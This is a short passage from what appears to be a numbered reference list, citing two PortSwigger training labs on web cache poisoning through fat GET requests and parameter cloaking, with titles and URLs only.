    539 - [18] [PortSwigger lab: Web cache poisoning via a fat GET request](https://portswigger.net/web-security/web-cache-poisoning/exploiting-implementation-flaws/lab-web-cache-poisoning-fat-get)
    540 - [19] [PortSwigger lab: Web cache poisoning via parameter cloaking](https://portswigger.net/web-security/web-cache-poisoning/exploiting-implementation-flaws/lab-web-cache-poisoning-param-cloaking)